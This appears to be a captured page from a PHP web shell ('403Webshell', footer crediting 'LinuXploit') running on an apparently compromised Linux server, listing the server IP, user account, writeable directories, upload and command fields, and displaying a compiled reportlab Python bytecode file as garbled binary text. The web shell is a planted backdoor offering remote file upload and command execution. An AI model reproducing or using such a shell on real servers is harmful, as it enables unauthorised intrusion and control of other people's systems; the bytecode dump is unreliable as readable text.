403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportlab/pdfgen/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportlab/pdfgen/__pycache__/pdfgeom.cpython-311.pyc
�

��_���.�dZdZddlmZmZmZmZdd�ZdS)z3.3.0z�
This module includes any mathematical methods needed for PIDDLE.
It should have no dependencies beyond the Python library.

So far, just Robert Kern's bezierArc.
�)�sin�cos�pi�ceil�Zc���t||��t||��t||��t||��f\}}}}t|��dkr|g}t|��}d}n@g}t	tt|��dz����}t|��|z}||zdz}	||zdz}
||z
dz}||z
dz}|tzdz}
tddt|
��z
zt|
��z��}|dkrd	}nd}g}t|��D�]7}|||zztzd
z}||dz|zztzd
z}|dk�r|�
|	|t|��zz|
|t|��zz
|	|t|��|t|��zz
zz|
|t|��|t|��zzzz
|	|t|��|t|��zzzz|
|t|��|t|��zz
zz
|	|t|��zz|
|t|��zz
f����6|�
|	|t|��zz|
|t|��zz
|	|t|��|t|��zzzz|
|t|��|t|��zz
zz
|	|t|��|t|��zz
zz|
|t|��|t|��zzzz
|	|t|��zz|
|t|��zz
f����9|S)a�bezierArc(x1,y1, x2,y2, startAng=0, extent=90) --> List of Bezier
curve control points.

(x1, y1) and (x2, y2) are the corners of the enclosing rectangle.  The
coordinate system has coordinates that increase to the right and down.
Angles, measured in degress, start with 0 to the right (the positive X
axis) and increase counter-clockwise.  The arc extends from startAng
to startAng+extent.  I.e. startAng=0 and extent=180 yields an openside-down
semi-circle.

The resulting coordinates are of the form (x1,y1, x2,y2, x3,y3, x4,y4)
such that the curve goes from (x1, y1) to (x4, y4) with (x2, y2) and
(x3, y3) as their respective Bezier control points.r�g�V@g@g�v@gUUUUUU�?g�?r���g�f@)�min�max�abs�float�intrrrr�range�append)�x1�y1�x2�y2�startAng�extent�arcList�	fragAngle�Nfrag�x_cen�y_cen�rx�ry�halfAng�kappa�sign�	pointList�i�theta0�theta1s                    �:/usr/lib/python3/dist-packages/reportlab/pdfgen/pdfgeom.py�	bezierArcr'sj���r�"�:�:�s�2�b�z�z�3�r�"�:�:�s�2�b�z�z�A�L�B�r�2�b�
�6�{�{�b����*���&�M�M�	�������D��V���S��)�)�*�*���&�M�M�E�)�	�
��U�B�J�E�
��U�B�J�E�
�R�%���B�
�R�%���B��"�n�t�#�G���2��G���,�-��G���<�=�=�E��1�}�}�������I�
�5�\�\�9�9���Q�y�[�(�B�.��5���a��c�9�_�,�r�1�D�8���q�=�=����e�b�3�v�;�;�&6�6�#�b�3�v�;�;�&6�6�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�3�v�;�;�&6�6�#�b�3�v�;�;�&6�6�8�
9�
9�
9�
9�
���e�b�3�v�;�;�&6�6�#�b�3�v�;�;�&6�6�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�C��K�K�%�#�f�+�+�:M�,M�&N�N�#�b�3�v�;�;�&6�6�#�b�3�v�;�;�&6�6�8�
9�
9�
9�
9���N)rr)�__version__�__doc__�mathrrrrr'�r(r&�<module>r-sW��
��	��$�#�#�#�#�#�#�#�#�#�#�#�>�>�>�>�>�>r(

Youez - 2016 - github.com/yon3zu
LinuXploit